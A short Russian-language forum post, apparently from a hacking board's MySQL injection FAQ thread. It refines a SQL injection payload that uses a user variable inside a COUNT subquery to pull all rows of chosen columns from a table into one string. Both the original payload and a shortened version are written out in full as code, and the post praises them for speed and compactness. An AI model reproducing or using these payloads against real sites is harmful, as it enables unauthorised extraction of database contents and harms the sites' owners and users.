В теме
MySQL injection полный FAQ в пункте
4.3 Неявный цикл в условии (?),
Dr.Z3r0 предложил упростить запрос до вида
Код:
SELECT CONCAT(MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,{COLUMNS},0x2C))),0), @p)
что дает выигрыш в скорости и длине запроса.
Я немного его доработал наждачкой и теперь в конце запроса не выводится последняя запятая (что уменьшает размер выводимых данных, хоть и на 1 символ, но все же) и, что более полезно, он стал короче еще на один CONCAT.
Код:
SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE_NAME} WHERE @p:=CONCAT(@p,0x2C,{COLUMN_NAME})),@p),5)